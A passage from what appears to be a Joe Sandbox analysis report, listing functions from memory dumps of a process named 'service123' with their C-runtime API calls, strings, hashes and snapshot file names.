Instruction ID: 8720bd99e5eb1367bb33082d99e6a2ab49e29608419626f783fcdf5da6ecd159
Opcode Fuzzy Hash: 9a38e43638a880864f382386bdbf10cce9d4fafff17e017489f518dd4935c62e
Instruction Fuzzy Hash: B921837150D381CFD7118F54C1843A9BBA1AF91304F19CABDDCC84FA4AD775948A8BA1

Function 00951001 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0095106B
__p__fmode.MSVCRT ref: 00951070
__p__commode.MSVCRT ref: 0095107D

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: 52f13e9c353c35aa4e29c1a277a92ea462f027cd47e5163d3117e02170559448
Instruction ID: 6268f7adc184dcef8db99797cc106600be9d323a009461f4b061d44fb59ccbb3
Opcode Fuzzy Hash: 52f13e9c353c35aa4e29c1a277a92ea462f027cd47e5163d3117e02170559448
Instruction Fuzzy Hash: 55215870519301CBC320EF32E81536673A5BB80306F958968CC184B2D6E77AD8CEEB91

Function 6C819F70 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C819F85
strlen.MSVCRT ref: 6C819F8F
memcpy.MSVCRT ref: 6C819FB8
setlocale.MSVCRT ref: 6C819FCC

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: d99771e6f6d1fabf49690c683df63589dda81206cb3af388bb0bd3e6a29807db
Instruction ID: 926145bd0f4ed6104f174628435df01014269e4901a6d3210de0cd33089c6f61
Opcode Fuzzy Hash: d99771e6f6d1fabf49690c683df63589dda81206cb3af388bb0bd3e6a29807db
Instruction Fuzzy Hash: D9F0DAB150A3119AD3107F689A493AFBAF4FFA1744F418D1DE4D8ABB10E7748848CB93

Function 6C7B4C28 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

@, xrefs: 6C7B4D17
u, xrefs: 6C7B4C66

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: dd37bf5cdbf09acce7cc387823c7955a368700fca1c59050a6f4fee0711abfc8
Instruction ID: c6fc2e968158e3f28af84e1ba56e7531a79aec6146adeae4984607d147a4f302
Opcode Fuzzy Hash: dd37bf5cdbf09acce7cc387823c7955a368700fca1c59050a6f4fee0711abfc8
Instruction Fuzzy Hash: 17A1BD7160C3958BC760CF25D29439BBBE1BF85708F148A2DE8D8A7781D734E549DB82

Function 00954558 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

@, xrefs: 00954647
u, xrefs: 00954596

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 69a3980af8f7e6111a8410687764541a5da532080dfb83f6e1b2e6c8369258a3
Instruction ID: d129d7d1d81a837d80365fdcb9389d2871da9561fbcd5e41ac5d6d10cf83bae7
Opcode Fuzzy Hash: 69a3980af8f7e6111a8410687764541a5da532080dfb83f6e1b2e6c8369258a3
Instruction Fuzzy Hash: 93A1A13150C3918BCB70CF26C0403AAB7E5BB8531AF148A1DECD847291E735D98EDB82

Function 6C7B52F1 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7B548E

Part of subcall function 6C7B2F00: fputc.MSVCRT ref: 6C7B2FC8

Strings

@, xrefs: 6C7B4D17
(null), xrefs: 6C7B52F7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: fa965e0de81ae6557e19308cb9b971c56413a83b66e4f805be5f542971b1c98f
Instruction ID: 00a11bd30ad9f1767291f4976c700752e2bb692f12e4a00be2e8b30657073a9e
Opcode Fuzzy Hash: fa965e0de81ae6557e19308cb9b971c56413a83b66e4f805be5f542971b1c98f
Instruction Fuzzy Hash: 1991CF7160C3958BD7608F24D29439BBBE1BF85708F148A2DE9DCA7741D734E509EB82

Function 00954C21 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00954DBE

Part of subcall function 00952830: fputc.MSVCRT ref: 009528F8

Strings

@, xrefs: 00954647
(null), xrefs: 00954C27

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: 92cb2513b68dda072049e64882774ea822be46f7a080bf92fa61f98103160a33
Instruction ID: 57c334e836fae129cb2183cff4dff452dae65b11c440eb6819627173159d4062
Opcode Fuzzy Hash: 92cb2513b68dda072049e64882774ea822be46f7a080bf92fa61f98103160a33
Instruction Fuzzy Hash: 66919F315083558BC761CF26D0803AABBE5BB85319F148A1DECD887381E735D98EDB82

Function 6C835DB0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C835DEA
wcslen.MSVCRT ref: 6C835E7C
wcslen.MSVCRT ref: 6C835F0E
strlen.MSVCRT ref: 6C835FA0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 6def60f25f0242e2ce95498acf255f5ecec50fd3031d628a67827d3d1ca16d59
Instruction ID: 5bd5b093ac1fe3d4d25d4cdb78e3b17a4e18542a48058859b9cb797e7fa494e8
Opcode Fuzzy Hash: 6def60f25f0242e2ce95498acf255f5ecec50fd3031d628a67827d3d1ca16d59
Instruction Fuzzy Hash: 4BF16DB4A05616CFC720DFACC6849AEBBF0BF84314B119A29D858DB750E735E945CBC2

Function 6C8355D0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C83560A
wcslen.MSVCRT ref: 6C83569C
wcslen.MSVCRT ref: 6C83572E
strlen.MSVCRT ref: 6C8357C0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: efdd7d7fa3ff51c815e5a8240cbbc748e76c07a7e054db7e1b3771e4f118a40e
Instruction ID: c5d3fcda6c5e1da86c15091a7fb9e70c42439691b8ed71af43cd93107b51661a
Opcode Fuzzy Hash: efdd7d7fa3ff51c815e5a8240cbbc748e76c07a7e054db7e1b3771e4f118a40e
Instruction Fuzzy Hash: D0F15CB4A017168FC720DFACC2849AEBBF0BF84314B119A69D899DB754E734E945CB81

Function 6C7B3080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3101

Strings

NaN, xrefs: 6C7B3081

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction ID: 8138480d0ed531c6fccb8eb28d83f3f935f56f1ce4c9241e8dc5e03686d1c484
Opcode Fuzzy Hash: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction Fuzzy Hash: CE415BB1A05A18CBCB00CF18C6C4785B7E5AF85744B29C2A9DC4CAF74AD732DC86CB90

Function 009529B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00952A31

Strings

NaN, xrefs: 009529B1

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction ID: f48bac51c5b8282d872e75e55769a99859b398b8c7fff5edb294a20becf52c56
Opcode Fuzzy Hash: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction Fuzzy Hash: 5D413D71A04215CBDB20CF1AC5C0756B7E5AF8A701F29C699DC889F38AD336DC4ACB90

Function 6C834DD0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C834E0A
strlen.MSVCRT ref: 6C834E8D
strlen.MSVCRT ref: 6C834F10
strlen.MSVCRT ref: 6C834F93

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 8760e4cd0ea55dc5d4764e94efb4c8a544318ef5034578b4d5e05b57bbb6fcc8
Instruction ID: 79d7c0bde9337ed48a438c73e09b5074cd385fb4b07e56a427bb4e83190c1d91
Opcode Fuzzy Hash: 8760e4cd0ea55dc5d4764e94efb4c8a544318ef5034578b4d5e05b57bbb6fcc8
Instruction Fuzzy Hash: 9BE14874A047168FC710DFACC6C49AEBBF1BF84314B10AA69D869CBB54E735E905CB81

Function 6C8345D0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C83460A
strlen.MSVCRT ref: 6C83468D
strlen.MSVCRT ref: 6C834710
strlen.MSVCRT ref: 6C834793

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: d310939fd906b9b0bdc0480fc8cfa4b1ab3d17ab23af5cb11f10c165a1ef1387
Instruction ID: fc9f82b2307765e7ecdbd7aeb9a42635833f5cc6bcef01a8faf56e1793381d77
Opcode Fuzzy Hash: d310939fd906b9b0bdc0480fc8cfa4b1ab3d17ab23af5cb11f10c165a1ef1387
Instruction Fuzzy Hash: 64E16974A046168FC720DFACC2C49AEFBF1BF85314B10AA69D859CBB54E735E905CB81

Function 6C7BE1F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C7BE1FE
strlen.MSVCRT ref: 6C7BE211

Strings

basic_string: construction from null is not valid, xrefs: 6C7BE233

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: a455786bf05150be2ce6508e88418afede7b44484ebd4e16a0f642bb103c1c77
Instruction ID: 252543cfed1809f16d3f8beb019ad56f2f48a49a8ae9e5db8f945f77dc7a4c30
Opcode Fuzzy Hash: a455786bf05150be2ce6508e88418afede7b44484ebd4e16a0f642bb103c1c77
Instruction Fuzzy Hash: D7111272A046008F8710FF7DCA8545ABBF1AB99314F45CA79D84497704E634D5098BE2

Function 6C7B3616 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3567
fputc.MSVCRT ref: 6C7B35D7
memset.MSVCRT ref: 6C7B3692

Strings

o, xrefs: 6C7B362E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction ID: d879f1b2c0100da879e388ec8573508d226c22293a4bb8eacbec2c92e5b1f549
Opcode Fuzzy Hash: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction Fuzzy Hash: D0314D71908605CFC700CF68C38479ABBF1BF48354F158669D999BBB01EB34E985CB50

Function 00952F46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00952E97
fputc.MSVCRT ref: 00952F07
memset.MSVCRT ref: 00952FC2

Strings

o, xrefs: 00952F5E

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction ID: fa898b38d2753029498f234a28925692d5a2d754fb8b5b277b507d18b126a2be
Opcode Fuzzy Hash: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction Fuzzy Hash: EF313871904205CFCB10CF6AC18579ABBF5BF4A341F158A19DD89AB741E734ED48CB90

Function 6C7B3AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3A5F
fputc.MSVCRT ref: 6C7B3AC1

Strings

@, xrefs: 6C7B3AFA

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction ID: 102af3374f9fc4d5b1a5e606fef08f15801c36b730d757f8b56e365c2c951291
Opcode Fuzzy Hash: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction Fuzzy Hash: 4611DAB1A052148BCB00DF28C684789BBB1BF55305F358669FD997FB4ADB34E881CB54

Function 00953424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0095338F
fputc.MSVCRT ref: 009533F1

Strings

@, xrefs: 0095342A

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction ID: 0056650507bfaaeb103e9e74962a400e12d1b1542002081388a842857b16e20f
Opcode Fuzzy Hash: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction Fuzzy Hash: 98115EB1A042008BCB15CF2AC1847A97BF5BF84382F65C558ED899F34ADB34EE08CB44

Function 009518B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0095191E

Strings

Unknown error, xrefs: 009518B2
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 009518FF

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 6389d194b3d34b51d890feef06f9a27ee29ce0d574111a982a0111c5427a313c
Instruction ID: 911959949dc6da66de2484299396a6b98ff9b6fefcad078304636c4bad8d50a7
Opcode Fuzzy Hash: 6389d194b3d34b51d890feef06f9a27ee29ce0d574111a982a0111c5427a313c
Instruction Fuzzy Hash: 6501C070408B45CBD300EF16E48841ABFF1FF89351F828998E9C846269CB3298A8CB46

Function 6C7C77B1 Relevance: 5.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7C77D3

Part of subcall function 6C814050: memcpy.MSVCRT(?,?,?,?,-00000001,?,?,6C7C77E6), ref: 6C8140B3

strlen.MSVCRT ref: 6C7C7844
strlen.MSVCRT ref: 6C7C78B2
strlen.MSVCRT ref: 6C7C7926

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 2e6e752357a3f687a1a5eb5d446b425a585c5344ba6fa8282acece8f14103fd0
Instruction ID: 6c090d0b5bbf22541fa8055144b6a2a9ed53e99f6feb760070e026ffbab36c51
Opcode Fuzzy Hash: 2e6e752357a3f687a1a5eb5d446b425a585c5344ba6fa8282acece8f14103fd0
